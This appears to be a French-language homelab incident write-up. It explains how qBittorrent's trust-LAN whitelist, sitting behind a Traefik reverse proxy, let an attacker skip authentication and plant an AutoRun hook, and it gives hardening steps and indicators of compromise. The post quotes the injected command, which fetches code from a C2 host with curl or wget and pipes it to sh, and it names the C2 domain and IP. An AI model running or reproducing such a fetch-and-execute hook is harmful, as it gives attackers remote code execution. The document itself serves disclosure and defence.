TL;DR : Je fais tourner 40+ services derrière Traefik sur mon homelab. L'un d'eux — qBittorrent — faisait confiance au "LAN" par défaut. Mon reverse proxy vit sur ce LAN. Donc chaque requête externe, routée via le proxy, ressemblait à un client local de confiance. Un attaquant est entré par la porte d'entrée et a injecté un autorun OnTorrentAdded qui tirait un shell distant. Je l'ai remarqué parce que l'UI avait l'air bizarre. Pas grâce à une alerte. À cause d'une intuition. Puis j'ai audité les 39 autres services — 3 interfaces d'admin étaient grandes ouvertes sur internet. Si vous faites tourner un homelab avec un reverse proxy et qu'une option "fais confiance au LAN" est activée quelque part, vous faites probablement tourner mon homelab d'il y a une semaine.


Pendant des mois je me suis dit que mon homelab était propre. Il ne l'était pas. Et le vôtre ne l'est probablement pas non plus.

C'est l'article que je dois à mon moi futur. C'est aussi celui que je dois à toute personne qui fait tourner un stack self-hosted derrière un reverse proxy et qui présume que "le LAN est de confiance" est encore une chose qui existe. Ça ne l'est plus. Le LAN est mort à la minute où vous avez mis Traefik — ou Caddy, ou nginx, ou Cloudflare Tunnel, ou Tailscale Funnel — devant vos applis. La plupart des tutos homelab finissent par "et maintenant c'est derrière HTTPS." Cette phrase fait beaucoup de travail qu'elle n'a jamais mérité.

L'intuition qui m'a sauvé

J'ai ouvert l'interface qBittorrent pour une raison sans rapport. La barre de statut en bas était rouge. External IP : N/A. DHT : 0 nodes. Chaque torrent affichait 0 peers, 0 B/s. Mon premier réflexe, comme n'importe qui qui fait passer son client torrent par un VPN, ça a été : le tunnel WireGuard est tombé.

Le tunnel allait bien. wg show rapportait un handshake il y a 36 secondes. Le conteneur avait poussé 283 GiB à travers. curl ifconfig.io depuis l'intérieur du conteneur retournait l'IP de sortie du VPN. Le réseau allait bien. L'appli mentait.

Alors j'ai lu la config. Et c'était là, posé tranquillement en haut de qBittorrent.conf :

[AutoRun]
OnTorrentAdded\Enabled=true
OnTorrentAdded\Program=sh -c "(curl -s http://<c2-domain> || wget -qO - http://<c2-domain>) | sh"
enabled=true
program="sh -c \"echo <base64-blob> | base64 -d | sh\""

Chaque nouveau torrent voulait dire exécution de code distant à l'intérieur du conteneur qBit. Accès complet à chaque volume monté. Accès complet au tunnel VPN. Le C2 (le serveur de contrôle de l'attaquant, l'endroit où un hôte compromis appelle pour recevoir ses instructions) était toujours en ligne. Le dropper (le petit script de première étape qui télécharge et exécute la vraie charge utile) avait été servi deux jours plus tôt. Caddy l'hébergeait encore.

J'ai stoppé le conteneur.

Le défaut n'est pas dans qBittorrent. Il est dans le modèle.

Voilà la partie qui compte. C'est pour ça que j'écris cet article au lieu de coller un incident.md dans un wiki privé et de passer à autre chose.

qBittorrent a un paramètre WebUI\AuthSubnetWhitelist. Il accepte une liste de CIDR. Les requêtes dont l'IP source est dans un de ces CIDR contournent l'authentification entièrement. C'est désactivé par défaut. Je l'avais activé, avec les CIDR "je fais confiance au LAN" classiques :

WebUI\AuthSubnetWhitelist=10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
WebUI\AuthSubnetWhitelistEnabled=true

C'est une fonctionnalité, pas un bug. Le tracker d'issues qBittorrent en discute depuis des années. Ça fonctionne comme prévu.

Voilà le problème. La vérification de qBit utilise l'IP TCP source — le pair de couche 4 réel qui a ouvert le socket. Quand une requête passe par Traefik, le pair TCP de qBit est l'IP du conteneur Traefik, qui vit en 172.x.x.x sur le réseau bridge docker. Cette IP est dans la whitelist. Chaque requête depuis l'internet public, routée via Traefik, ressemblait pour qBittorrent à un client LAN de confiance.

Pas de header trick, pas de confusion X-Forwarded-For, pas d'oubli. Le contournement est inconditionnel. L'authentification ne tournait jamais.

Internet utilisateur Traefik @ 172.18.0.5 qBittorrent trust 172.16/12 src : 1.2.3.4 src : 172.18.0.5 ✓ qBit voit l'IP de Traefik, pas la vôtre. L'auth est zappée.

Le problème plus profond n'est pas le paramètre de qBit. C'est le modèle mental qui l'a produit. "Faire confiance au LAN" était une option défendable en 2010. Les homelabs étaient air-gappés. "Le réseau" voulait dire un switch dans le sous-sol.

En 2026, votre "LAN" ne ressemble plus à ça. Il comprend un reverse proxy joignable depuis n'importe où sur la planète. Un bridge docker qui transporte le trafic de chaque conteneur. Un tunnel entrant depuis votre CDN. Le node Tailscale de votre téléphone posé dans le WiFi d'un hôtel. Une demi-douzaine d'utilisateurs d'automatisation qui parlent à vos services en HTTP.

Le LAN n'est plus un endroit. C'est une coïncidence : l'endroit où votre vérification d'auth se trouve.

Les applis self-hosted ont livré des défauts permissifs "autoriser le LAN" en supposant un LAN que plus personne n'a. Cloudflare Tunnel, Tailscale Funnel, Traefik, Caddy — ils déplacent le périmètre, ils ne remplacent pas l'authn. Le reverse proxy est un couloir, pas une porte.

Le rayon d'explosion : 40 services audités. 3 grands ouverts.

Il fallait que je sache à quel point c'était grave. Donc j'ai parcouru chaque routeur Traefik exposé sur la box et j'ai sondé chacun depuis l'extérieur du LAN. Le résultat n'était pas 0 sur 40. Ce n'était pas 1.

Trois étaient sans authentification depuis internet.

  • qBittorrent — déjà en feu. Contournement trust-LAN.
  • Un visualiseur de logs docker en temps réel. Pas d'auth, pas de middleware. Son endpoint /api/events/stream diffusait toute la flotte de conteneurs à quiconque connaissait l'URL. L'endpoint compagnon streame les stdout et stderr de chaque conteneur. Chaque secret, token, request body, code OAuth, signature de webhook, requête de base — tout ce qu'un service a un jour loggué. Un hostname devinable a donné à un inconnu un SIEM (une console de sécurité qui agrège les logs d'une infra en une vue interrogeable unique) en temps réel sur tout mon stack.
  • Un dashboard de statistiques Plex. http_password="" vide dans sa config. La vue Home complète était à un GET /home de distance. Historique de visionnage, IPs de chaque viewer, tokens d'auth Plex embarqués, webhooks de notification (Discord, Slack — avec leurs secrets dans le payload).

Chacun était à un guess d'URL près. Chacun était visible depuis n'importe quel monitor TLS transparency — crt.sh liste volontiers chaque sous-domaine sur un certificat wildcard. Et chacun avait sa propre auth native que j'avais explicitement désactivée parce que — attendez — "c'est juste sur le LAN."

Le rayon d'explosion n'était pas qBittorrent. C'était chaque secret que mon stack avait un jour laissé fuiter dans une ligne de log. Une évasion de conteneur était peu probable (pas de privileged, pas de socket docker). Un mouvement latéral via volumes partagés était sur la table. Le trafic C2 sortait via mon VPN payant, donc mon exposition légale était l'IP du fournisseur VPN, pas la mienne. Maigre consolation.

Sévérité, honnêtement : impact élevé, sophistication faible. Le dropper porte les empreintes des campagnes de cryptominers qui martèlent qBit AutoRun depuis 2023. Binaires multi-arch (x86_64, aarch64, amd64). Noms aléatoires de 8 caractères. Drop, chmod +x, exécution, rm -rf — rien ne reste sur disque. Plusieurs téléchargeurs en fallback : curl, wget, python3, perl, sockets bruts. L'opérateur ne me ciblait pas. Il sprayait chaque qBit sur internet avec AutoRun activé. J'étais un numéro dans une liste.

Le même primitive entre des mains qualifiées devient bien pire. Le mount partagé /data/downloads tape direct dans le process Plex. Les clés API du stack arr sont dans des fichiers env sur la même box. La leçon n'est pas que j'ai esquivé une balle — c'est que la balle était générique, et qu'une balle sur mesure aurait été catastrophique.

Ce que "derrière Traefik" veut vraiment dire

Lisez n'importe quel tuto homelab des cinq dernières années. Les instructions suivent un schéma : déployer le service, pointer Traefik dessus avec une règle Host(), récupérer un certificat Let's Encrypt, fini. La supposition implicite, c'est que Traefik est une frontière de sécurité.

Ce n'est pas le cas. Traefik est un routeur. Par défaut, il route ce qu'il peut atteindre vers qui le demande. Si le service en amont a une auth, les requêtes sont authentifiées. Sinon, non. Traefik continuera de proxy un dashboard non authentifié vers internet pendant des années. Il ne vous préviendra jamais. C'est littéralement ce que vous lui avez configuré de faire.

La correction mentale est de traiter le reverse proxy comme une infrastructure non fiable qui transfère du trafic. La frontière d'auth, c'est l'auth de l'application, ou un middleware forwardAuth devant. Il n'y a pas de troisième option. "Joignable seulement sur le LAN" est la deuxième option qui se fait passer pour une troisième. Si votre reverse proxy peut atteindre l'amont, et que l'internet public peut atteindre votre reverse proxy, l'amont est sur l'internet public.

Ça se généralise. Le même piège existe dans :

  • Sonarr, Radarr, Lidarr, Prowlarr — Authentication Required > "Disabled for Local Addresses". Non.
  • Plex — "Allow connections without auth on my local network". Non, surtout avec un reverse proxy dans le même subnet.
  • Home Assistant — trusted_proxies + use_x_forwarded_for=true sans une vraie allowlist.
  • Grafana — mode anonyme, ou headers auth.proxy depuis un proxy auquel vous ne faites pas pleinement confiance.
  • Pi-hole — réutilisation du mot de passe admin + API ouverte.
  • Tautulli, Jellyfin ancien, à peu près tout ce qui a une option "trust LAN" héritée de l'ère pré-Tailscale.

Si une case dans la config de votre service dit "ne pas exiger d'auth depuis le réseau local" et que votre service est aussi joignable via n'importe quel reverse proxy, décochez cette case. Aujourd'hui.

La correction, en couches

Le nettoyage s'est fait en trois passes : arrêter l'hémorragie, puis auditer, puis durcir.

Arrêter l'hémorragie

Le callback C2 est un dropper fileless connu. Je l'ai bloqué sur trois couches, parce que chaque couche rattrape ce que la précédente rate :

  1. Au niveau DNS (Pi-hole). Bloquer le domaine du C2 : tout ce qui le résout par nom n'arrive nulle part. Pas cher, instantané — inutile si le malware saute le DNS et se connecte directement à une IP brute.
  2. Au niveau du firewall de l'hôte (iptables). Drop des paquets sortants vers l'IP du C2, depuis l'hôte lui-même comme depuis les conteneurs qu'il route. Rattrape le cas IP brute que le DNS rate. Rendu permanent pour survivre à un reboot.
  3. Au niveau du routeur edge. La même règle de drop sur la passerelle, pointée sur la même IP. Rattrape tout ce qui sur le réseau ne passe pas par l'hôte du homelab — objets connectés, téléphones, imprimante, le portable de votre gosse.
qBit conteneur couche 1 Pi-hole DNS bloque le domaine couche 2 iptables bloque l'IP (hôte) couche 3 firewall edge bloque l'IP (passerelle) C2 bloqué Chaque couche rattrape ce que la précédente rate.

Une seule couche serait une case à cocher. Trois couches, c'est de la défense en profondeur qui accepte qu'une d'elles peut être fausse.

Sanitiser et auditer

Pour l'appli compromise, j'ai fait cinq choses :

  • Supprimé le bloc [AutoRun].
  • Désactivé le bypass trust-LAN.
  • Tourné le mot de passe WebUI. J'ai généré le hash salé moi-même au lieu de cliquer dans le formulaire UI — au moins je sais ce qui est dans ma config.
  • Gardé une copie forensique de la config et du dropper.
  • Scanné les process du conteneur à la recherche d'un signe révélateur du malware :
ls -la /proc/*/exe 2>/dev/null | grep deleted

Cette commande liste les process en cours dont l'exécutable sur disque a déjà été supprimé — la signature classique du malware "dépose, exécute, efface" qui essaie de ne rien laisser derrière. Rien n'est apparu. Le dropper avait fait son boulot et était sorti proprement quand le conteneur s'est arrêté.

Pour le reste, j'ai parcouru chaque service exposé via Traefik. J'ai noté lesquels avaient une barrière d'auth devant et lesquels comptaient sur leur propre login interne. Trois n'avaient aucune auth. Le reste était soit propre par ses propres mérites, soit défendable pour son threat model. Défendable fait beaucoup de travail dans cette phrase. Voir la section suivante.

Default-deny au périmètre

La correction honnête n'est pas "sécuriser les trois que j'ai ratés." C'est "arrêter de faire confiance au fait que je rattraperai le suivant." Donc j'ai mis un petit service d'auth devant chaque service dont le seul utilisateur prévu c'est moi : TinyAuth (minimal, mono-tâche, taille de blast radius dont j'avais besoin ; Authelia ou Authentik feraient aussi l'affaire). Maintenant Traefik demande au service d'auth "est-ce que cette personne est connectée ?" avant de transmettre la requête à l'appli derrière. Ça couvre 17 interfaces d'admin. Même si l'appli derrière a un bug d'auth — et ça finira par arriver — la requête ne l'atteint jamais sans une session valide.

Internet Traefik TinyAuth connecté ? oui non Appli Page de login

Certains services ont besoin de parler à des tiers — apps mobiles, SDKs, CLIs, webhooks externes, clients de gestionnaires de mots de passe, sync photos. Ceux-là sont restés sur leur propre auth. Chacun est désormais un point faible connu que je surveille activement. La liste est bien plus courte que celle des services barrés.

La règle pour la suite, c'est une ligne dans le compose de tout nouveau service :

- "traefik.http.routers.<name>.middlewares=tinyauth@docker"

Si un nouveau service ne peut pas accepter cette ligne, c'est une exception délibérée, pas un défaut.

Ce qu'il faut faire ce week-end

Si vous faites tourner un homelab — n'importe quelle taille, n'importe quel reverse proxy, n'importe quel nombre de services — voici les quatre vérifications qui rattrapent 90% de ce type de bug.

1. Grep pour les bascules trust-LAN.

grep -rIE "AuthSubnet|trust(ed)?_?(network|proxy|host)|allowed_hosts|local.?bypass|skip.?auth.?local|disabled_for_local" \
  /opt/docker /etc 2>/dev/null

Si l'une est activée et que le service est joignable via votre reverse proxy, vous avez mon homelab d'il y a une semaine. La vérification spécifique qBit :

grep -rE "AuthSubnetWhitelistEnabled=true" /opt/docker

2. Listez chaque routeur Traefik et ses middlewares.

for f in /opt/docker/*/compose.yml; do
  awk '/traefik\.http\.routers\..*\.rule=.*Host/,/networks:/' "$f" \
    | grep -E "routers\.[a-z0-9-]+\.(rule|middlewares)" \
    | sort -u
done

Triez par nom de routeur. Tout routeur sans ligne middlewares= tourne sur sa propre auth interne uniquement. C'est un choix délibéré, pas un défaut. Assurez-vous que chacun est un choix dont vous vous souvenez.

3. Tapez chaque URL admin depuis votre téléphone en 4G. Hors LAN, pas de Tailscale, rien. Si quoi que ce soit répond autre chose qu'un redirect vers un login ou un 401, c'est joignable depuis internet. Demandez-vous si vous voulez que ça le soit.

4. Vérifiez [AutoRun] et équivalents sur tout ce qui exécute de l'input non fiable. La section [AutoRun] de qBittorrent. Les "Connect" custom-script de Sonarr/Radarr. Le service shell_command de Home Assistant. Les plugins webhooks de Jellyfin. Les webhooks de workflows n8n joignables publiquement. Si vous ne l'avez pas mis là, ça n'a rien à y faire.

Le lecteur qui fait tourner cinq services avec Caddy : même exercice, surface plus petite. L'idée ne dépend pas de Traefik ni de 40 services. Le modèle mental "le LAN est de confiance" est le bug. Remplacez-le.

Une note sur ce qu'on ne peut pas auditer soi-même

J'avais trois trucs grands ouverts. Deux étaient des applis installées il y a des années et jamais reverifiées. Une était un http_password="" vide depuis le jour du déploiement, jamais touché. La dérive de configuration vers le ouvert est l'état naturel d'un homelab. Vous ajoutez des services, vous tweakez des paramètres, vous oubliez des défauts, vous upgradez et perdez un flag de config, vous lisez un tuto qui dit "for testing" et vous n'y revenez jamais. L'audit n'est pas un événement unique. C'est une corvée récurrente, dans un calendrier, comme une vidange.

Et : ne faites pas confiance à votre monitoring pour rattraper ça à votre place. J'avais Beszel, Uptime Kuma, Dozzle, le query log de Pi-hole, tout. Aucun n'a tiqué parce que rien ne ratait. Le compromis était à l'intérieur de l'application, et l'application tournait mieux que d'habitude du point de vue de l'attaquant. Le signal qui a trouvé ça, c'était visuel : une icône rouge que j'ai regardée par hasard. Il n'y a pas de SIEM dans un homelab. Vous êtes le SIEM, et vos yeux ne sont pas un langage de requête.

Indicateurs de compromis

Si vous faites tourner qBittorrent et voulez confirmer que vous n'avez pas été touché par la même vague, voilà ce qu'il faut chercher. Ce sont les IoCs de cet incident — Indicators of Compromise, les artefacts précis qu'un défenseur peut grepper pour confirmer une intrusion connue. C'est de l'information défenseurs publique.

  • Domaine C2 : yify.foo
  • IP C2 : 172.245.88.160 (ColoCrossing, la même plage qui héberge une longue liste de droppers de mass-exploitation similaires)
  • Stage 1 dans qBittorrent.conf : tout bloc [AutoRun] avec OnTorrentAdded\Program qui pipe la sortie vers sh
  • Stage 2 dropper (1945 octets, servi depuis http://yify.foo/) : script shell multi-arch, branche sur uname -m, fetch un binaire depuis /1, /2 ou /3 sur l'IP C2, drop dans chaque mount writable avec un nom aléatoire de 8 caractères, exécute, supprime le fichier
  • IoC process : ls -la /proc/*/exe 2>/dev/null | grep deleted — process stage-2 fileless dont l'inode du binaire est manquant
  • IoC réseau : DNS sortant pour yify.foo ou tout TCP vers 172.245.88.160 depuis un conteneur qui fait tourner qBit, sonarr, radarr, plex, ou tout ce qui partage leurs volumes

Si vous en trouvez un, traitez l'hôte comme compromis. Ensuite :

  • Arrêtez le conteneur affecté.
  • Sanitisez la config.
  • Faites une rotation de chaque credential auquel le conteneur avait accès.
  • Bloquez le C2 sur trois couches (DNS, hôte, edge).
  • Auditez le reste de votre stack pour le même pattern.

Ne tuez pas juste le process. C'est le stage-2 dropper. La config autorun le respawnera au prochain torrent.

Conclusion

J'ai passé 9 ans à écrire du logiciel pour des hôpitaux. J'ai des opinions sur les systèmes à fortes conséquences. Je me suis quand même fait avoir par une case à cocher par défaut.

La leçon n'est pas que les homelabs ne sont pas sûrs. Ils sont aussi sûrs que vous les rendez. La leçon, c'est que le modèle a changé. Derrière le proxy voulait dire derrière le périmètre. Plus maintenant. Le proxy est le périmètre, et le périmètre est en papier mâché si les applis derrière croient qu'elles sont sur un LAN de confiance.

Votre reverse proxy n'est pas un firewall. C'est un couloir. Si vous n'avez pas de porte au bout, vos applis sont dans un hall public. Les miennes l'étaient. Trois d'entre elles, en tout cas.

Plus maintenant.